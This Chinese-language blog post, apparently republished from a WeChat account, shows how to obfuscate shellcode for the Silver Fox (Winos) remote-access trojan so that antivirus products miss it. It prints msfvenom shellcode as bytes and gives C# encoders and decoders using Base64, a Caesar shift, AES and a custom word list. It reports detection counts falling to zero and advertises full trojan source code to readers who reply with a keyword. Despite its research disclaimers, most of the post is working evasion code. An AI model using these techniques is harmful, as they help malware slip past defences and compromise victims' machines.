银狐ShellCode混淆怪招续

admin 2026-01-14 23:45:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分享了银狐远控ShellCode混淆测试结果。通过对比原始植入、Base64、凯撒密码、AES加密及自定义单词编码,发现简单凯撒密码优于标准AES,而自定义单词编码实现了零检测。结论是避免使用特征明显的系统加密库,开发私有编码算法以提升免杀效果。 综合评分: 83 文章分类: 免杀,二进制安全,恶意软件,红队


cover_image

银狐ShellCode混淆怪招 续

原创

安全研究员

CppGuide

2026年1月13日 19:54 上海

在前面一篇文章《银狐远控ShellCode混淆怪招》中介绍我在银狐远控中测试的一些隐藏shellcode的怪招。

后来我又测试了一些新方法,和大家分享一下。

特别申明:

1. 本文介绍的内容仅做技术上的交流,请勿使用本文介绍的技术做其他用途,违者与本号无关。

2. 作者不提供任何支持免杀版本的银狐源码,不做任何黑产,有此需求的读者请勿联系作者。

为了简化问题,这里我们不讨论银狐如何加载和执行shellcode,这里只讨论对部分模块的shellcode做一些混淆的方法。由于银狐本身模块的shellcode较长,我们以Msfvenom Shellcode为例。

我认为,在组合各个方法之前,最好单独测试每个阶段的shellcode。

原始shellcode

将Msfvenom Shellcode直接植入二进制文件中,会导致70家厂商中有25家将该样本检测为恶意文件。这并不奇怪,因为它是开源软件,已经针对它开发了许多特征码。

using System;

namespace ShellcodeEncoding
{
    internal class Program
    {

        static void Main(string[] args)
        {
            // msfvenom -p windows/x64/exec CMD=calc.exe -f csharp
            byte[] Shellcode = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
            0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
            0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
            0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
            0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
            0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
            0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
            0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
            0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
            0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
            0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
            0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
            0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
            0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
            0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
            0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
            0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
            0x63,0x2e,0x65,0x78,0x65,0x00};

            Console.WriteLine(Shellcode);
        }
    }
}

Base64编码的Shellcode代码

使用Base64编码可将检测率降至12/70。

using System;

namespace ShellcodeEncoding
{
    internal class Program
    {
        public static string Decode(string base64EncodedData)
        {
            var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData);
            return System.Text.Encoding.UTF8.GetString(base64EncodedBytes);
        }
        static void Main(string[] args)
        {
            // msfvenom -p windows/x64/exec CMD=calc.exe -f base64
            string Shellcode = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";

            Console.WriteLine(Decode(Shellcode));
        }
    }
}

凯撒密码(Caesar Cipher)编码的shellcode

在这个示例中,我们添加了一个小型编码程序,通过字符替换来混淆Shellcode代码。仍有两家供应商将其归类为恶意软件。

using System;
using System.Text;

namespace ShellcodeEncoding
{
    internal class Program
    {

        public static byte[] Decode(byte[] buf)
        {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i < buf.Length; i++)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buf[i] = (byte)(((uint)buf[i] - 4) & 0xFF);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return buf;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; static void Main(string[] args)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // msfvenom -p windows/x64/exec CMD=calc.exe -f csharp
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] Shellcode = new byte[276] { 0x00, 0x4c, 0x87, 0xe8, 0xf4, 0xec, 0xc4, 0x04, 0x04, 0x04, 0x45, 0x55, 0x45, 0x54, 0x56, 0x55, 0x5a, 0x4c, 0x35, 0xd6, 0x69, 0x4c, 0x8f, 0x56, 0x64, 0x4c, 0x8f, 0x56, 0x1c, 0x4c, 0x8f, 0x56, 0x24, 0x4c, 0x8f, 0x76, 0x54, 0x4c, 0x13, 0xbb, 0x4e, 0x4e, 0x51, 0x35, 0xcd, 0x4c, 0x35, 0xc4, 0xb0, 0x40, 0x65, 0x80, 0x06, 0x30, 0x24, 0x45, 0xc5, 0xcd, 0x11, 0x45, 0x05, 0xc5, 0xe6, 0xf1, 0x56, 0x45, 0x55, 0x4c, 0x8f, 0x56, 0x24, 0x8f, 0x46, 0x40, 0x4c, 0x05, 0xd4, 0x8f, 0x84, 0x8c, 0x04, 0x04, 0x04, 0x4c, 0x89, 0xc4, 0x78, 0x6b, 0x4c, 0x05, 0xd4, 0x54, 0x8f, 0x4c, 0x1c, 0x48, 0x8f, 0x44, 0x24, 0x4d, 0x05, 0xd4, 0xe7, 0x5a, 0x4c, 0x03, 0xcd, 0x45, 0x8f, 0x38, 0x8c, 0x4c, 0x05, 0xda, 0x51, 0x35, 0xcd, 0x4c, 0x35, 0xc4, 0xb0, 0x45, 0xc5, 0xcd, 0x11, 0x45, 0x05, 0xc5, 0x3c, 0xe4, 0x79, 0xf5, 0x50, 0x07, 0x50, 0x28, 0x0c, 0x49, 0x3d, 0xd5, 0x79, 0xdc, 0x5c, 0x48, 0x8f, 0x44, 0x28, 0x4d, 0x05, 0xd4, 0x6a, 0x45, 0x8f, 0x10, 0x4c, 0x48, 0x8f, 0x44, 0x20, 0x4d, 0x05, 0xd4, 0x45, 0x8f, 0x08, 0x8c, 0x4c, 0x05, 0xd4, 0x45, 0x5c, 0x45, 0x5c, 0x62, 0x5d, 0x5e, 0x45, 0x5c, 0x45, 0x5d, 0x45, 0x5e, 0x4c, 0x87, 0xf0, 0x24, 0x45, 0x56, 0x03, 0xe4, 0x5c, 0x45, 0x5d, 0x5e, 0x4c, 0x8f, 0x16, 0xed, 0x5b, 0x03, 0x03, 0x03, 0x61, 0x4c, 0xbe, 0x05, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x4c, 0x91, 0x91, 0x05, 0x05, 0x04, 0x04, 0x45, 0xbe, 0x35, 0x8f, 0x73, 0x8b, 0x03, 0xd9, 0xbf, 0xf4, 0xb9, 0xa6, 0x5a, 0x45, 0xbe, 0xaa, 0x99, 0xc1, 0xa1, 0x03, 0xd9, 0x4c, 0x87, 0xc8, 0x2c, 0x40, 0x0a, 0x80, 0x0e, 0x84, 0xff, 0xe4, 0x79, 0x09, 0xbf, 0x4b, 0x17, 0x76, 0x73, 0x6e, 0x04, 0x5d, 0x45, 0x8d, 0xde, 0x03, 0xd9, 0x67, 0x65, 0x70, 0x67, 0x32, 0x69, 0x7c, 0x69, 0x04 };

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] DecodedShellcode = Decode(Shellcode);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(System.Text.Encoding.Default.GetString(DecodedShellcode));

&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

}

AES加密

以下编码程序会生成一个经过Base64编码的AES加密字符串,其中包含我们的shellcode;

using System;
using System.Text;
using System.IO;
using System.Security.Cryptography;

namespace ShellcodeEncoding
{
&nbsp; &nbsp; public class AesOperation
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; public static string EncryptString(string key, string plainText)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] iv = new byte[16];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] array;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; using (Aes aes = Aes.Create())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aes.Key = Encoding.UTF8.GetBytes(key);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aes.IV = iv;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; using (MemoryStream memoryStream = new MemoryStream())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; using (CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, encryptor, CryptoStreamMode.Write))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; using (StreamWriter streamWriter = new StreamWriter((Stream)cryptoStream))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; streamWriter.Write(plainText);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; array = memoryStream.ToArray();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return Convert.ToBase64String(array);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; internal class Program
&nbsp; &nbsp; {

&nbsp; &nbsp; &nbsp; &nbsp; static void Main(string[] args)
&nbsp; &nbsp; &nbsp; &nbsp; {

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] Shellcode = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x63,0x2e,0x65,0x78,0x65,0x00};

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var key = "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var str = System.Text.Encoding.Default.GetString(Shellcode);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var encryptedString = AesOperation.EncryptString(key, str);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine($"encrypted string = {encryptedString}");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ReadKey();

             }         }     }

以下代码用于解密Shellcode代码;

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace AESShellcodeDecoder
{

&nbsp; &nbsp; public class AesOperation
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; public static string DecryptString(string key, string cipherText)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] iv = new byte[16];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] buffer = Convert.FromBase64String(cipherText);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; using (Aes aes = Aes.Create())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aes.Key = Encoding.UTF8.GetBytes(key);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aes.IV = iv;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; using (MemoryStream memoryStream = new MemoryStream(buffer))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; using (CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, decryptor, CryptoStreamMode.Read))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; using (StreamReader streamReader = new StreamReader((Stream)cryptoStream))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return streamReader.ReadToEnd();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; internal class Program
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; static void Main(string[] args)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var key = "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var encryptedString = "PvQTvpmGEXoytPgdWgCrw3x+kRy+hZ+ArvlFDE202ZoaZ1PGfOycx9IRFYEpGj3s28QSVOq8uhmLrHUmslOaI5pP4j9zijlh7c3EofdTyOhyNQsOfJVL4ti1IcYe03Wd7Bk1RVCZ9YaZuBR8PQ+SFEz32w3FkBBQEPKd2fjltagDoML9xOrjFoPnVxtOBtwFHds4NwJ6Hqx1RNBD1WBjH3aKCgk1v7fsrbzIRj8nMva+A3JOpO83XMmCxkVm2Iu1ZQFt50H5wa20N0d3FMms/epIgtqBBDVlPCdGmXaVkfzVBUBgxwGo3WHtIbVyM4FJnOy2oY+16jMXh1Nin+HlBf6n9Lg5fkEuLvt9KusXn6dLkP9VPj/gSC09sPyy9AyeCWnBqlw7TErlLNlJ4YkYuV4w6gOsMNgVb+iIPxVfHTOqZ3dSqf+Thz0gchn1Gx06FIdmIc2OeIOkvoWyxIZrEpgJxJNRPoYtBCfXsAGfZXv24b+xDqpbGA0i/muzxOYtFOHSRyvFdf1HeaG30cWcqQ==";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var decryptedString = AesOperation.DecryptString(key, encryptedString);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine($"decrypted string = {decryptedString}");
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

结果是70家反病毒厂商中有5家将该样本检测为恶意文件!

所以,使用简单的凯撒密码比使用AES(无论如何都借助System.Security.Cryptography)效果更好。

使用单词进行编码

首先,我们在一个单独的类中定义了一个单词列表。为简洁起见,我限制了所包含的单词数量。但是,我们需要在WordList列表中定义256个单词,每个可能的字节对应一个单词。

public class Words
{
&nbsp; &nbsp; public static List<string> EncodedWordList = new List<string>
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; "glue",
&nbsp; &nbsp; &nbsp; &nbsp; "impartial",
&nbsp; &nbsp; &nbsp; &nbsp; "optimal"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;};

&nbsp; &nbsp; public static List<string> WordList = new List<string> &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; "scarce",
&nbsp; &nbsp; &nbsp; &nbsp; "annoy",
&nbsp; &nbsp; &nbsp; &nbsp; "sore",
&nbsp; &nbsp; &nbsp; &nbsp; "cowardly"
&nbsp; &nbsp; &nbsp; &nbsp; };
}

} 接下来,我们需要一个编码程序将Shellcode转换为一个单词列表;

using System.Collections.Generic;

namespace Encoding
{

&nbsp; &nbsp; public class Words
&nbsp; &nbsp; {

&nbsp; &nbsp; &nbsp; &nbsp; public static List<string> EncodedWordList = new List<string>
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "glue",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "impartial",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "optimal"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;};

&nbsp; &nbsp; &nbsp; &nbsp; public static List<string> WordList = new List<string> &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "scarce",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "annoy",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "sore",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "cowardly"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; };
&nbsp; &nbsp; }
}

} 运行代码将打印出一个单词列表,每个单词对应Shellcode的一个字节。这个单词列表需要添加到EncodedWordList列表中,该列表位于Words类里。

Encoding.exe
"glue",
"impartial",
"optimal",
"psychedelic",
"cheat",
"desert",
"inject",
"scarce",
"scarce",
"scarce",
"peep",
"quixotic",
"peep",
&lt;snip>

解码程序

以下程序只是将我们的字转换回字节数组;

using System;
using System.Collections.Generic;

namespace Encoding
{
&nbsp; &nbsp; internal class Program
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; static byte[] Decode(List<string> WordList)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; List<byte> code = new List<byte>();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach (string word in WordList)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int index = Words.WordList.FindIndex(a => a.Contains(word));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte byteValue = (byte)index;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; code.Add(byteValue);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] &nbsp;CodeArray = code.ToArray();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return CodeArray;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; static void Main(string[] args)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;     byte[] CodeArray = Decode(Words.EncodedWordList);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(System.Text.Encoding.Default.GetString(CodeArray));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ReadKey();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

这导致我们的加壳Shellcode代码零检测。

小结

尽管此处的代码并不代表完整的有效载荷(payload),但它确实表明,如果未正确编码你的Shellcode,将会被检测到。

即使仅通过查看文件中的熵值,或者这些加密和混淆程序已在其他恶意软件样本中实现,它们的使用仍可能被检测到。在可能的情况下,最好开发自己的编码程序。

更多阅读

银狐远控问题排查与修复——Viusal Studio集成Google Address Sanitizer排查内存问题

银狐远控代码中差异屏幕bug修复

银狐远程屏幕内存优化方法探究

银狐远程软件bug修复记录 第03篇

银狐远程软件 UDP 断线无法重连的bug排查和修复

银狐远程软件代理映射功能优化思路分享

银狐远程软件去后门方法

银狐远控一键编译调试与开发教程

银狐远控免杀与shellcode修复思路分析 01

银狐ShellCode混淆怪招

详解银狐远控源码中那些C++编码问题

给银狐远控增加一个小功能01

银狐远控的被控端是如何隐藏和保护自己的

为了更方便排查和优化代码,我除了修复以上bug以外,还将这套代码从原来的Visual Studio 2010工程全部升级成Visual Studio 2022,并补全和重编译了所有依赖库代码,并去掉所有后门,同时修复了100+的内存崩溃问题,现在它是一款可以放心使用、相对稳定的远控软件。

同时,为了方便修复bug和扩展新功能,我又花了一个多月做了一套Debug版本的配置,这样修复bug和学习研究时就可以很方便的调试,无需再调试难懂的shellcode和汇编指令了。

再者,借鉴了之前研究的远控pcshare、gh0st和摩纳哥等远控源码的部分功能,迁移到银狐中。

当然,虽然银狐这套源码bug挺多的,但瑕不掩瑜,它仍然是学习C/C++开发、多线程编程、网络编程、安全工程、综合项目实践、红蓝攻防非常好的材料。

源码获取

如果对银狐(winos)有兴趣,可以通过下面的方式获取全套源码:

关注后回复【winos】即可获取源码


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:CppGuide 安全研究员《银狐ShellCode混淆怪招 续》

评论:0   参与:  0